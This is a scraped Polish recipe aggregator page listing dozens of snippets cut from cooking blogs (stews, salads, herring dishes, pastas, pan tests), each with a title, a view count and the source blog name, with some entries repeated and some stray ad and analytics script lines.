smaczny gulasz mięsno-warzywny... 130

przykryciem dusić z 10 minut. Warzywa dodać do mięsa, dodać pieprz ziołowy, paprykę ostrą, koncentrat pomidorowy i zagotować, wodę wymieszać z mąką i wlać do gulaszu, mieszać do zagęszczenia sosu - gulasz z łopatki i warzywami jest bardzo aromatyczny, sycący, pożywny, smakuje i na obiad i na ciepłą kolację z pieczywem.........SMACZNEGO

W Mojej Kuchni Lubię
Pałki kurczaka pieczone na ryżu 189

już nie będzie miał zalewy do wchłonięcia możesz dodać pół szklanki wody. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Pałki kurczaka pieczone na ryżu przez Paulina 2021-03-27 Jajka w sosie tatarskim przez Paulina 2021-03-26 Tradycyjny Żurek Wielkanocny na zakwasie przez Paulina 2021-03-24 Ciasto czekoladowe z musem malinowo – jeżynowym przez Paulina 2021-03-16 Tiramisu przez Paulina

To Musisz Wiedzieć
Torcik warzywny 175

osolonej odrobiną soli. Ugotowane jajka zalałam bardzo zimną wodą, po czym obrałam i pokroiłam. Szukasz przepisów na dania z warzyw? Jeśli tak to wypróbuj nasz przepis na Karczochy w sosie serowym. The post Torcik warzywny appeared first on MeCooks Blog

MeCooks
Torcik warzywny 118

osolonej odrobiną soli. Ugotowane jajka zalałam bardzo zimną wodą, po czym obrałam i pokroiłam. Szukasz przepisów na dania z warzyw? Jeśli tak to wypróbuj nasz przepis na Karczochy w sosie serowym. The post Torcik warzywny appeared first on MeCooks Blog

MeCooks
Tradycyjny Żurek Wielkanocny na zakwasie 173

czekoladowe z musem malinowo – jeżynowym przez Paulina 2021-03-16 Tiramisu przez Paulina 2021-03-12 Sałatka z porem i jajkiem przez Paulina 2021-03-07 Pulpety w sosie pomidorowym przez Paulina 2021-03-06 Sałatka Gyros przez Paulina 2021-02-27 Artykuł Tradycyjny Żurek Wielkanocny na zakwasie pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Polędwiczki w złotej panierce -może być schab czy filet drobiowy nie koniecznie polędwiczki 246

Kupiłam polędwiczki drobiowe 2 opakowania Pierwsze trzeba je oczyścić z błonek potem posolić i popieprzyć . przygotować panierkę pierwsze panierujemy w jajku przygotować-3 jajka ,łyżeczka musztardy ,1 łyżeczka sosu sojowego ,troszkę czerwonej papryki /rozmieszać to i w tym obtaczamy a potem w panierce panierka przygotowanie szklanka bulki tartej do miski ,5 łyżek płatków owsianych, 15 dag sera żółtego startego

Moje Wyroby
Rolada schabowa z mięsem mielonym 120

przypieczenia mięsa, aby się zbyt mocno nie przypiekł. Wyłączamy piekarnik i zostawiamy jeszcze roladę w zamkniętym naczyniu. Jeśli posłuży jako pieczeń do obiadu, podajemy na gorąco. Idealnie smakuje z sosem grzybowym, chrzanowym lub musztardowym. Jeżeli przewidujemy roladę do spożycia na zimno, po 30 minutach wyjmujemy z piekarnika i odstawiamy do wystygnięcia. Życzymy smacznego!   Artykuł Rolada schabowa z mięsem mielonym

Kuchnia Na Wypasie
4 książki o jedzeniu 124

instrukcje jak formować je w tradycyjne i nowatorskie kształty. Są opisy podróży i odkryć kulinarnych autora. Znajdziemy tu sporo wartościowych porad np jak gotować makaron, jak dobierać do niego sosy, jak przechowywać potrawy, jakie są rodzaje mąki i jak je dobierać bo determinuje to konsystencje makaronu. Wydawnictwo Znak, 270 stron, data wydania 2021. „Rośliny przede wszystkim. 101 najlepszych przepisów

Dorota Smakuje
Jak powstaje mascarpone? 102

całym świecie. Ale jak powstaje i czym dokładnie się charakteryzuje? Popularność serka mascarpone Mascarpone to produkt, który ma szerokie zastosowanie wśród miłośników kulinariów. Jest używany do deserów, jedwabistych sosów, dań obiadowych lub zup. Nadaje się zarówno do pieczenia, jak i gotowania. Stanowi podstawę choćby dla tak rozpowszechnionych specjałów, jak tiramisu. Jego popularność wynika z delikatnej, śmietankowej konsystencji i łagodnego słodkiego

jakszef.pl
PANIEROWANE TOSTY Z SEREM I SZYNKĄ 107

Panierowane tosty z serem i szynką to propozycja na pyszne śniadanie , ale także tak przygotowane tosty przekrojone na pół to doskonała przekąska imprezowa , podana z ketchupem czy sosem czosnkowym. Przepyszne są zarówno na ciepło jak i na zimno.  Składniki na 2 panierowane tosty z serem i szynką : * 4 kromki chleba tostowego * odrobina masła * 4 plasterki sera * 2 plasterki szynki

Zrób to smacznie
Keto zupa pekińska (Paleo, LowCarb) 154

paskach 1 papryka czerwona 1 marchew 1 puszka pędów babmusa 2 łyżki sambal oelek 2 łyżki aminokwasów kokosowych (zdrowsza wersja sosu sojowego) 0,5 łyżeczki glucomannanu lub 1 łyżka skrobi ziemniaczanej 0,5 łyżki soli himalajskiej, kłodawskiej lub morskiej Instructions Olej sezamowy rozgrzać w dużym

Modern Cave Girl
Babka marmurkowa na kefirze 269

więc z powodzeniem możesz używać go do pieczenia, smażenia (pamiętajcie, że na porcji oleju smażymy tylko jeden raz!), duszenia czy gotowania, ale także stosować na zimno, jako bazę do sosów czy do sałatki. Na rynku dostępny jest także olej rzepakowy nierafinowany i tego powinno się używać tylko do potraw na zimno. Pod względem zawartości i struktury kwasów tłuszczowych oraz witamin

Zdrowie na języku :P
Alternatywy dla mięsa na Wielkanoc 146

walorach smakowych i odżywczych. Bardzo łatwo można znaleźć przepis na to danie w internecie albo skorzystać z gotowych rozwiązań w sklepach. Świetnie współgra z warzywami, z którymi powstaje specjalny sos do tego dania. Ryba po grecku podawana jest często na zimno – będzie dobrą opcją zarówno jako przystawka, jak i świetnie nada się na kanapkę. Do tego można na spokojnie

kuron.com.pl
CHILI CON CARNE I TEST NOWEGO RONDLA MARKI ZWIEGER ZE SKLEPU GARNECZKI.PL 137

CECHY RONDLA: ⇒ Rondel ma ok. 13 cm średnicy – dzięki czemu nadaje się do codziennego użytku. Możemy w nim gotować mniejsze porcje produktów, podgrzewać mleko, roztapiać czekoladową polewę, przyrządzać sos czy dusić dania. ⇒ Sprawdzi się zawsze wtedy, gdy tradycyjny garnek okazuje się zbyt duży. ⇒ Nieprzywierająca powłoka umożliwia nawet smażenie składników. ⇒ Został wykonany z odlewanego aluminium – trwałego materiału, odpornego

Ostra na Słodko
Pierś z kurczaka zapiekana z warzywami i śmietanką / Baked Chicken Breast with Veggies 126

wymaga wcześniejszego podsmażenia, możecie doprawić je ulubioną mieszanką przypraw do kurczaka - ziołową, łagodną lub ostrą, tak jak najbardziej lubicie. Podczas pieczenia z mięsa, warzyw i śmietanki powstaje bardzo smaczny sos, dzięki któremu kurczak nie wysusza się i jest idealnie upieczony. Pierś z kurczaka zapiekana z warzywami i śmietanką  jest delikatna, soczysta i pyszna, to świetny pomysł na obiad

Lekcje w kuchni
Chimichanga z piekarnika 1889

wewnątrz? Nie jestem przekonana, dlatego wolałam nie ryzykować. Chimichanga pieczona, rumiana jest równie smaczna.  Chimichanga jak podawać Chimichanga z piekarnika czy smażona podaje się tak samo, z ulubionym sosem lub surówką. Można jeść sztućcami, można zapakować w serwetkę i jeść z ręki. To jedzenie uliczne, a więc wszystkie chwyty dozwolone

Dieta moja pasja
Makaron wegański 146

zmiany jego kształtu mogą zakończyć się połamaniem. Jeszcze więcej wegańskich przepisów Kotlety z buraka Boczniaki ala strogonow Pulpety jaglane Tortilla przepis na ciasto Boczniaki po kaszubsku (wegańskie) Makaron w sosie szpinakowym Boczniaki w mięsnej marynacie Chaczapuri ze szpinakiem Sałatka z buraków A może coś na słodko? Wegańskie ciasteczka orzechowe Michałki bez cukru Bomby tłuszczowe czekoladowo-orzechowe Chałwa domowa bez cukru

WegePrzepis
Sałatka z ryżem, tuńczykiem, kukurydzą i jajkami 136

wykańczam powoli zapasy kuchenne, które nakupowaliśmy do diety wątrobowej. Wiecie, jasne mąki, klasyczne makarony, ryże i inne drobne kasze. Tuńczyk? U mnie, jak zwykle, kawałki w oleju. Kawałki w sosie własnym średnio mnie rajcują, nie mówiąc już o tym rozdrobnionym. Wy dajce, jaki lubicie. Sama sałatka była smaczna, ale nie powaliła mnie. Na bank jednak znajdą się amatorzy połączenia ryżu

Kardamonovy
Cukinia faszerowana kurczakiem i kuskusem zapiekana z serami 1216

posypuje startym na dużych oczkach tarki serem żółtym, na części układam plasterki mozzarelli,  piekę jeszcze chwilkę aż sery się rozpuszczą. Gotowe cukinie przekładam na talerze i delikatnie polewam sosem. Smacznego :)         Poniżej podam jeszcze kilka moich propozycji na wykorzystanie cukinii (wystarczy kliknąć w tytuł potrawy  i ukaże się przepis ) : Cukinia faszerowana mięsem mielonym i ryżem

Kuchnia z widokiem na ogród
Gulasz z karkówki po myśliwsku / Pork Neck Stew 140

też wstawić gulasz pod przykryciem do piekarnika nagrzanego do 180 C (ja dusiłam w piekarniku prawie dwie godziny). Pod koniec duszenia dodać drobno pokrojone ogórki i musztardę do smaku. Sos zagęścić mąką ziemniaczaną rozmieszaną z wodą. Zmodyfikowany przepis ze strony przyślijprzepis.pl Chcesz być na bieżąco z nowymi przepisami? Polub mój profil na Facebooku: Lekcje w kuchni Pork Neck Stew

Lekcje w kuchni
Sałatka śledziowa z burakiem i jabłkiem 246

Sałatka śledziowa z burakiem czym dłużej stoi tym ładniej barwi się na różowo. Początkowo sałatka ma smugi, jabłko, śledź, cebula się wyróżniają jednak czym dłużej przebywają w różowym sosie śmietanowo - majonezowym nabierają buraczanego odcienia. Polecam także: - śledzie po japońsku  - śledzie po tatarsku - śledzie po kaszubsku  Smacznego 😊 Sałatka śledziowa z czym podawać Śledź, jak i każda sałatka śledziowa lubią

Dieta moja pasja
Sałatka z jajkiem i groszkiem. 150

Cebule kroimy w kostkę, szczypior i natkę siekamy. Składniki do przygotowania sałatki wkładamy do miski i mieszamy. W osobnej miseczce łączymy jogurt grecki, curry, sól i pieprz. Mieszamy. Gotowym sosem polewamy sałatkę i mieszamy. Sałatka gotowa. Wszyscy wiemy, że jajka zajmują centralne miejsce podczas Świąt Wielkanocnych . Wykonujemy jajka faszerowane , kolorujemy je, są dodatkiem do zupy i także możemy wykorzystać jajka

Zdrowy Styl Joanny
Nadziewana Papryka z Chorwacji – Punjena Paprika 145

ryżu surowego, białego, suchego 2 jajka Świeże zioła Sól Pieprz świeżo zmielony Czerwona papryka Wędzona papryka Ostra papryka 3-5 łyżek oliwy z oliwek oczywiście z Domu Oliwnego Sos 50 g masła 40 g mąki 15-20 g cukru 500-700 ml passaty Sól Pieprz świeżo Jeśli mamy już składniki, Nadziewana Papryka, czeka by ją zrobić Po pierwsze w dużej

RafalCook
Zapiekanka z szynką i serem 1268

kluseczki i roztopiony ser. UWAGA! Jeśli lubisz rzadsze zapiekanki zagotuj 3/4 szklanki mleka, dodaj do niego cały ser i podgrzewaj ( nie gotuj) aż ser się całkiem rozpuści i takim sosem polej kluski, a następnie posyp szynką.  Wstaw zapiekankę do nagrzanego piekarnika ( półka niżej niż środek, dół musi być bardziej podgrzewany, aby ogrzać naczynie i zapiekankę od spodu ) zapiekaj

Dieta moja pasja
CHILI CON CARNE I TEST NOWEGO RONDLA MARKI ZWIEGER ZE SKLEPU GARNECZKI.PL 106

CECHY RONDLA: ⇒ Rondel ma ok. 13 cm średnicy – dzięki czemu nadaje się do codziennego użytku. Możemy w nim gotować mniejsze porcje produktów, podgrzewać mleko, roztapiać czekoladową polewę, przyrządzać sos czy dusić dania. ⇒ Sprawdzi się zawsze wtedy, gdy tradycyjny garnek okazuje się zbyt duży. ⇒ Nieprzywierająca powłoka umożliwia nawet smażenie składników. ⇒ Został wykonany z odlewanego aluminium – trwałego materiału, odpornego

Ostra na Słodko
Prosty przepis na chrupiące gofry 133

Podobnie jak w przypadku chleba, przodek gofra pojawił się w epoce neolitu jako rustykalny placek z miazgi zbożowej, pieczony na rozgrzanych kamieniach. Nie było co prawda bitej śmietany ani sosu czekoladowego, ale to nie przeszkodziło w ekspansji gofrów.  Starożytni Grecy piekli płaskie ciasta, zazwyczaj pikantne, zwane obleios lub opłatkami, między dwoma gorącymi metalowymi płytami. Obleios stał się gofrem

Cztery Fajery
Wspaniała pasta z pietruszki z rozmarynem 151

przeźroczyste, średnio smakujące... I może właśnie dlatego pietruszka jest mało docenionym warzywem w polskiej kuchni i chyba w ogóle w kulinariach, a przecież, to właśnie ona nadaje zupom i sosom głębszego smaku, to bez niej rosół ma nieco płytszy aromat i to ona w swojej prostej, białej istotce zawiera najwięcej umami :) Dobrze przyrządzona może stać się przepysznym dodatkiem do obiadu

Kuchnia w Słońcu Skąpana
Placuszki ryżowo-cukiniowe – chrupiące i pyszne 106

smaczne. Polecam także najmłodszych, bo mój 10-miesięczny Antoś chętnie się nimi zajadał. Placuszki mogą stanowić fajny dodatek do obiadu albo samodzielny posiłek, np. kolację. Dobrze smakują z domowym sosem czosnkowym. Polecam i zapraszam do prostego przepisu Przy okazji przypominam, że na końcu czekają na Was wartości odżywcze publikowanych dań oraz ich ładunek glikemiczny – ważna informacja dla osób

Natka Pietruszki
Biała kiełbasa pieczona z cebulą 954

kiełbasę surową pieczemy w temperaturze 180 stopni góra / dół przez 30 – 40 minut. Jeśli masz taką możliwość, to od do czasu polej pieczone kiełbaski powstałym w trakcie pieczenia sosem. Dzięki temu, kiełbasa będzie jeszcze bardziej aromatyczna, a skóra chrupiąca. Podawaj z chrzanem oraz pieczywem lub innym ulubionym dodatkiem do białej kiełbasy. Życzymy Smacznego! Artykuł Biała kiełbasa pieczona z cebulą

Kuchnia Na Wypasie
Trzy słodkie przepisy, które podbiły serce pani Sołtys – wycieczka na styk Mazowsza i Podlasia 128

cukrem na puszystą masę i dodaj do rondelka. Dodaj mus malinowy i wymieszaj. Gotuj na małym ogniu, cały czas mieszając, aż krem lekko zgęstnieje i konsystencją będzie przypominał sos beszamelowy. Dodaj masło i wymieszaj do całkowitego rozpuszczenia. Gotowy krem włóż do lodówki na 1 godzinę, by stężał. Mus: Wymieszaj serek jogurtowy z mascarpone oraz miąższem wanilii, cukrem i śmietanką

Poezja smaku
Sałatka grecka II 132

ułożyć na dnie półmiska. Na sałacie ułożyć kolejno: pokrojone ogórki, paprykę, połówki pomidorków koktajlowych, ser pokrojony w kostkę, oliwki i pokrojoną w piąrka cebulę. 2. Przygotować dressing i gotowym sosem polać sałatkę. Smacznego

Kuchnia domowa Ani
Wiosenna focaccia 115

widzicie, zrobiłam z połowy ciasta, które miałam na pizzę. czyli ze składników podanych poniżej powinno wyjść dwa razy tyle, ile widzicie na zdjęciach. Nie ma sera, nie ma sosu więc dobra jest również na zimno, na wiosenne wycieczki (lasów już chyba nie zamkną, nie?) idealna przekąska.  Składniki: 10 g świeżych drożdży ½ szklanki ciepłej wody 250 g mąki pszennej

bistro mama
Sałatka z porem i jajkiem 665

będzie miała jeszcze lepszy smak. Polecam podawanie sałatki ze świeżą bułeczką z masełkiem. Smacznego ! (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z porem i jajkiem przez Paulina 2021-03-07 Pulpety w sosie pomidorowym przez Paulina 2021-03-06 Domowa maseczka z miodu- Sposób na piękną cerę. przez Paulina 2021-03-04 Kawa z cynamonem na odchudzanie- Sprawdź ile schudniesz przez Paulina

To Musisz Wiedzieć
Sałatka z tuńczykiem i jajkami 144

cztery składniki i mamy pyszną, szybką sałatkę z tuńczykiem, której się nie powstydzi żadna gospodyni, ani gospodarz. Fit sałatka z tuńczykiem? Bardzo proszę, wystarczy pominąć majonez, użyć tuńczyka w sosie własnym. I sałatka z tuńczykiem i jajkami zamienia się w bombę białkową.  Pomysł na sałatkę z tuńczykiem? Jakie dodatki do tuńczyka? Z czym podawać tuńczyka? Jak zrobić sałatkę

Dieta moja pasja
SZAKSZUKA Z POMIDORAMI ORAZ CIECIERZYCĄ I TEST NOWEJ, GRANITOWEJ PATELNI PORTOFINO BALLARINI 130

odrobiną oliwy podsmażamy cebulę wraz z przyprawami. Dodajemy pomidory wraz zalewą oraz pokrojoną w kostkę paprykę. Wrzucamy czosnek, doprawiamy odrobiną cukru do smaku, mieszamy odparowując nadmiar wody. Do gęstego sosu dodajemy ciecierzycę, wbijamy jajka. Przykrywamy, dusimy do momentu ścięcia. Posypujemy fetą oraz świeżą pietruszką. Smacznego! Cała oferta marki Ballarini w sklepie. W ofercie znajdują się m.in. patelnie, woki, może, sztućce

Ostra na Słodko
Kurczak pieczony - 7 rzeczy które musisz wiedzieć 140

powietrze zetnie mięso na zewnątrz. Po 10 minutach przykrywamy naczynie, i już bez obiegu  (góra- dół) pieczemy około godziny.  Po upływie godziny odkrywamy kurczaka i polewamy powstałym sosem, pieczemy bez przykrycia. Powtarzamy czynność co kilka - kilkanaście minut. Pod koniec pieczenia jeśli chcemy bardziej zrumienić mięso podkręcamy temperaturę do 200 stopni i dopiekamy. Stopień zrumienienia to już indywidualna sprawa

Dieta moja pasja
Pasztet z fasoli i grzybów 118

document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-92313943-1', 'auto'); ga('send', 'pageview'); Ten jest z aromatycznymi grzybami, doprawiony dobrze pieprzem i czosnkiem. Idealnym dodatkiem do pasztetu są sosy, np. żurawinowy czy chrzanowy. Pasuje również ogórek kiszony czy papryka marynowana. Jednym słowem ten pasztet jest pyszny, serdecznie polecam!  Składniki: -400 g fasoli Piękny Jaś  -1 duża cebula

Kulinarne przemyslenia
Gozleme – pyszna przekąska z patelni 149

strony. Odkładamy na papierowy ręcznik. Na każdą następną sztukę rozgrzewamy po łyżce oleju. Od razu podajemy, przekrojone na cztery części – najlepiej z cząstkami cytryny. Świetnie będzie pasował też sos jogurtowy. Uwaga: Gozleme można przygotować wcześniej i usmażyć przed podaniem: farsz należy przygotować dzień wcześniej i przechowywać w lodówce; ciasto po wyrośnięciu należy schować do lodówki przykryte folią (jeszcze urośnie

Poezja smaku
Chleb bez mąki i FIT omlet po japońsku. 116

poza tym jest pyszny! OMLET przygotowywany techniką japońską (w Japonii na prostokątnych patelniach) DLA 2 OSÓB - 6 jaj wiejskich - 2 łyżki mleka - chilli świeże - natka kolendry - kawałek cukinii - sos sojowy - pieprz, sól - czosnek - opcjonalnie kawałek sera np. cheddar  Cukinię, czosnek zetrzyj na tarce. Jaja roztrzep dobrze trzepaczką, dodaj pozostałe składniki. Wylej cienką warstwę jaja na patelnię, jak się zetnie

SMYKWKUCHNI
Pieczone krokiety z warzywami 107

pieczenia wyłóż papierem do pieczenia, na nim rozłóż krokiety i piecz w piekarniku nagrzanym do 180 stopni C przez 7-10 minut. Do tak przygotowanych krokietów idealnie pasuje sos czosnkowy

Z notatnika dietetyka
Chleb z fetą po Grecku 124

który nie sprzyjał uprawie przenicy, więc pierwsze chleby powstawały z jęczmienia, stąd Rzymianie nazywali Greków – zjadaczami jęczmienia. Pierwsze chleby były płaskie, co sprawiało, że idealnie komponowały się z sosami, oliwą z oliwek oraz soczewicą. Wszystko się zmieniło kiedy Grecy zaczęli importować przenice, by wyrabiać coraz to lepszy chleb… Starożytni Grecy Starożytni Grecy byli w tym tak dobrzy

RafalCook
SZAKSZUKA ( SHAKSHOUKA ) ZE SZPINAKIEM, CIECIERZYCĄ I HARISSĄ – kuchnia tunezyjska 130

przygotowałam! Z tym, że tym razem nie przygotowałam tradycyjnej prostej szakszuki, ale zdecydowanie bardziej bogatą wersję. Ze szpinakiem i ciecierzycą, które idealnie komponują się w pomidorowym, aromatycznym sosem. Wyszło danie niesamowicie pyszne i niesamowicie sycące. Śmiało może być pomysłem na obiad! Nie bójcie się dodawać przypraw ! To właśnie nimi szczycą się kraje arabskie i nimi pachnie kuchnia arabska. To właśnie

Ostra na Słodko
Paryje – kuchnia podkarpacka 645

które gotujemy na wolnym ogniu w posolonej wodzie. Kluski są ugotowane po około 4 minutach od wypłynięcia do wierzchu. Kluski wyciągamy łyżką cedzakową i okraszamy masłem, skwarkami albo polewamy sosem. Paryje można podawać posypane białym serem albo wymieszane ze słodką kapustą, przygotowaną jak na łazanki. Ten rodzaj klusków doskonale nadaje się również do odsmażania na maśle. Paryje – kuchnia podkarpacka

Trzeci talerz
Śledzie po kaszubsku przepis 145

Śledzie po kaszubsku Sprawdzony przepis na śledzie po kaszubsku w pysznym lekko kwaśnym sosie pomidorowym z podsmażoną cebulką i suszoną śliwką. Śledź po kaszubsku to klasyczna sałatka śledziowa, którą spotkamy na stołach w całej Polsce. Proste składniki oraz wyjątkowy smak sprawiają, że bardzo chętnie sięgamy po przepis na matiasy po kaszubsku. Przygotowanie tej aromatycznej sałatki ze śledzi wymaga jednak nieco

Kuchnia Na Wypasie
Maślane Pappardelle po Grecku 146

już prawie koniec, makaron przełóż bezpośrednie z rondla na patelnię, wlej pół kubka wody z gotowania makaronu, wymieszaj i grzej, aż woda odparuje, makaron będzie al dente, a sos będzie gesty.  Na koniec nałóż na talerz, posyp płatkami chili i skrop oliwą z Domu Oliwnego .  Podczas gdy ja szykuję kolejny Grecki przepis. Ty jeśli spodobała Ci się

RafalCook
Naleśniki z pieczarkami i serem 134

posypać z góry serem i zapiec w piekarniku. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Naleśniki z pieczarkami i serem przez Paulina 2021-02-24 Biała kiełbasa z cebulą i piwem w sosie musztardowym przez Paulina 2021-02-21 Sałatka z wędzonym kurczakiem przez Paulina 2021-02-15 Kokosanki przez Paulina 2021-02-13 Taratuszki – faworki jogurtowe przez Paulina

To Musisz Wiedzieć
Buraczki z jabłkiem na zimno 140

kuchni. A takie dodatki jak miód, cytryna tylko wzbogacą to znakomite warzywo. Buraczki z jabłkiem na zimno są tylko jednym z przepisów na buraczki.  Smacznego 😊  Polecam także: sos chrzanowy , surówka jak od Chińczyka , manogo z rukolą .  Więcej o naszym buraczanym przyjacielu i jego właściwościach

Dieta moja pasja
Wszystko, co musisz wiedzieć o winach! Wina deserowe cz. 3 109

nich dominują? Madera – brzoskwinia, orzech laskowy, skórka pomarańczowa, palony karmel, olej z orzechów włoskich Marsala – morela, wanilia, cukier brązowy, tytoń, tamaryndowiec Porto – jeżyna, jabłko kandyzowane, cynamon, sos malinowy, anyż Sauternes – morela, krem cytrynowy, miód, pigwa, imbir Sherry – figa, dżakfrut, orzech brazylijski, migdał, słony smak Vin santo – figa, migdał, rodzynki, toffi, perfumy Jak podawać wina deserowe? Pamiętaj, że każdy

Menmagazine
Pappardelle z jarmużem w sosie maślano-cytrynowym / Pappardelle with kale in butter-lemon sauce 115

makaron zacznie się mocno gotować dodaj do niego 4 łyżki zimnego masła, mieszaj i cały czas podgrzewaj na dużym ogniu. Gdy masło sie rozpuśći i utworzy się gęsty sos maślany, makaron jest gotowy. Podawaj go od razu, posypany serem typu parmezan. Today I invite you to a pasta dinner. I love pasta, I can eat it in a million ways

Delicious Place
Pizza melanzane z patelni - test patelni Woll Diamond / Melanzane pizza from the pan - pan test Woll Diamond 129

Woll Diamond i pozostaw na blacie na 15 minut. Patelnię umieść w rozgrzanym piekarniku. Gdy patelnia będzie mocno rozgrzana wyjmij ją i połóż na niej placek pizzy, posmaruj go sosem pomidorowym i umieść w piekarniku na 5 minut. Po 5 minutach na pizzy ułóż plasterki pomidora, mozzarelli i grillowanego bakłażana. Piecz jeszcze przez 15 minut.  Smacznego! :) Najważniejsze w całym

Delicious Place
Gratin ziemniaczane 119

tymianku, sól oraz pieprz. Wymieszać. Formę wysmarować masłem, ułożyć 1/3 część talarków ziemniaczanych , które zalać 1/2 częścią płynnych składników z miski. Następnie ułożyć 1/3 talarków ziemniaczanych, na nich pozostały sos, który przykryć pozostałymi ziemniakami. Piekarnik nagrzać do 180 stopni Celsjusza , wstawić gratin. Piec przez godzinę i 10 minut. Kolejno ostrożnie wyjąć formę z piekarnika, ziemniaki posypać mieszanką serów i wstawić

MeCooks
Sałatka z brokułem i tuńczykiem 143

Składniki: 1 brokuł 1 puszka tuńczyka w kawałkach w sosie własnym 1/2 puszki czerwonej fasolki 1/2 puszki kukurydzy 3 jajka 1 czerwona papryka 1 czerwona cebula 15 mini korniszonów chilli (lub 3 ogórki konserwowe) 3 ząbki czosnku 3 łyżki majonezu sól, pieprz Sposób wykonania: Brokuł dzielimy na różyczki i gotujemy w osolonej wodzie z dodatkiem 1/2 łyżeczki cukru (brokuł powinien

Qchnia po prostu
Greckie Pulpety czyli Yuvarlakia 127

Greckie Pulpety. Greckie Pulpety z ryżem, mnóstwem ziół, orzeźwiającą cytryną, czyli Youvarlakia-Γιουβαρλάκια. Youvarlakia czyli Greckie Pulpety w sosie-zupie jajeczno-cytrynowym Avgolemono , który znajdziesz tutaj , choć moją wersja wykorzystuję jogurt grecki, oczywiście możesz wykorzystać Avgolemono . Youvarlakia lub Giouvarlakia, to danie prawdopodobnie pochodzi, z Turcji i jest bardzo popularne również na Cyprze, słowo – Giouvarlakia – z tureckiego oznacza okrągły

RafalCook
Makaron z kurczakiem w sosie cebulowo-paprykowym wg Aleex 120

oprószyć szczyptą mąki lub bułki tartej. Wystarczy jej odrobinę, dosłownie trochę, by zagęścić danie. 10. Na talerz wyłożć mix sałat. 11. Na sałatę wyłożyć porcję makaronu i kurczaka w sosie cebulowo-paprykowym. Podawać od razu po przyrządzeniu. Smacznego

W mojej kuchni
Proste placuszki z pieczonej dyni 124

jajko - połącz całość dokładnie na jednolitą masę. 3. Rozgrzej na patelni niewielką ilość olejui smaż placuszki na złoto z obu stron (1 pełna łyżka na 1 placuszka). 4. Sos: jogurt wymieszaj ze szczypiorkiem i dopraw do smaku. Smacznego! Simple leftover baked pumpkin and ricotta fritters Ingredients: 250g of roasted butternut squash 250g ricotta or natural sandwich cheese (e.g. President

Kuchnia w Słońcu Skąpana
Chinkali gruzińskie z mięsem. 144

smak, krótko pisząc ;-).  Jak przygotować chinkali aby miało bulion w środku? To dużo prostsze niż myślisz! Cechą charakterystyczną dla kuchni gruzińskiej są oczywiście przyprawy, gruzińska sól czy pyszny sos adżika, ale również przyprawy, jakie dość dobrze znamy np. cząber.  Zatem co wchodzi w skład gruzińskich mięsnych chinkali, bo dodajmy, że chinkali mogą mieć też inny farsz, chociaż

SMYKWKUCHNI
Sodziaki na maślance 187

ekspresowy sposób tymczasowo zaspokajały zapotrzebowanie na chleb. Dlatego istnieje również wersja tych placków na słono. Świetnie smakują z twarogiem, z wędliną, jako pieczywo do zup oraz dodatek do sosów. Zapraszamy na nasz przepis na pyszne sodziaki na słodko i gorąco polecamy:) Sodziaki na maślance Składniki mąka pszenna: 250 g maślanka: 250 ml soda oczyszczona: 1 łyżeczka cukier z prawdziwą wanilią

Kuchnia Na Wypasie
Pizza melanzane z patelni - test patelni Woll Diamond / Melanzane pizza from the pan - pan test Woll Diamond 162

Woll Diamond i pozostaw na blacie na 15 minut. Patelnię umieść w rozgrzanym piekarniku. Gdy patelnia będzie mocno rozgrzana wyjmij ją i połóż na niej placek pizzy, posmaruj go sosem pomidorowym i umieść w piekarniku na 5 minut. Po 5 minutach na pizzy ułóż plasterki pomidora, mozzarelli i grillowanego bakłażana. Piecz jeszcze przez 15 minut.  Smacznego! :) Najważniejsze w całym

Delicious Place
Sałatka z burakiem i roszponką 132

małej miski wlewamy oliwę, ocet balsamiczny, sok z cytryny, dodajemy musztardę, sól i świeżo zmielony pieprz, dokładnie mieszamy. Na dno talerza wykładamy roszponkę, następnie układamy pokrojonego buraka. Całość polewamy sosem, posypujemy słonecznikiem, startym serem i kiełkami brokuła. Podobne przepisy: Sałatka z burakiem, mandarynką i camembertem Sałatka z rukolą, burakami, granatem i fetą Sałatka z pieczonymi burakami i suszonymi pomidorami Sałatka

Kardamonovy
Halibut pieczony z warzywami 99

pieczenia. Następnie na warzywa kładziemy rybę. 3 Garść pozostałej kolendry oraz garść bazylii blendujemy z 2 łyżkami oliwy z oliwek oraz 2 łyżkami soku z cytryny. Tak powstałym sosem polewamy rybę. 4 Naczynie zakrywamy folią aluminiową i pieczemy w temperaturze 220 stopni przez 30 minut - piekarnik góra-dół. Następnie zdejmujemy folię aluminiową, włączamy termoobieg i pieczemy kolejne 10-15 minut

Kuchnia Bazylii
Potrawka z kurczaka z pieczarkami 119

dania obiadowego, że laik śmiało stwierdzi, że w tym temacie zostało już powiedziane wszystko! Owszem, mogą być zrobione lepiej, "lub mniej lepiej", ale charakterystyczna "dziurka", w której zbiera się sos, jest rozpoznawalna dla wszystkich. No tak, ale można je podać w bardziej fantazyjnym zestawieniu i to właśnie chciałbym wszystkim zaproponować! Tym razem namawiam do zrobienia potrawki z kurczaka z pieczarkami

R'n'G Kitchen
Domowa kostka bulionowa – wersja ekspresowa 146

unikniemy. Po drugie, domowa kostka bulionowa to esencja smaku sama w sobie . Dodaje aromatu wielu daniom. >> Zobacz też: pomysły na obiad To dodatek do zup , sosów pomidorowych, śmietanowych czy grzybowych, a także gulaszów i pieczonego mięsa. W jednej kostce masz ulubione przyprawy i przetarte warzywa, a nie wzmacniacze smaku, sól i konserwanty. Przepis na domową kostkę rosołową W tym przepisie

Rozdomowiona
Surówka jak od Chińczyka 1352

dodatek do mięs pieczonych oraz duszonych. Jest idealnym niskokalorycznym dodatkiem do domowych fast food oraz dań z grilla. Może być świetną bazą do sałatek z dodatkiem majonezu lub sosu czosnkowego. Poza tym biała kapusta to skarbnica wielu cennych witamin oraz źródło błonnika, żelaza i kwasu foliowego. Surówka obiadowa z białej kapusty jak w barze chińskim posmakuje z pewnością wszystkim. Zapraszamy

Kuchnia Na Wypasie
Kotlety z batatów i komosy ryżowej 115

sałatę z ogórkiem, pomidorem, szczypiorkiem i dressingiem np. bazyliowym . Kotlety są chrupiące na zewnątrz i mięciutkie w środku i jak dla mnie nie ma potrzeby podawania ich z jakimkolwiek sosem. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Kotlety z batatów i komosy ryżowej Składniki na kotlety z batatów i quinoa. 15 dkg komosy ryżowej (u mnie

MeCooks
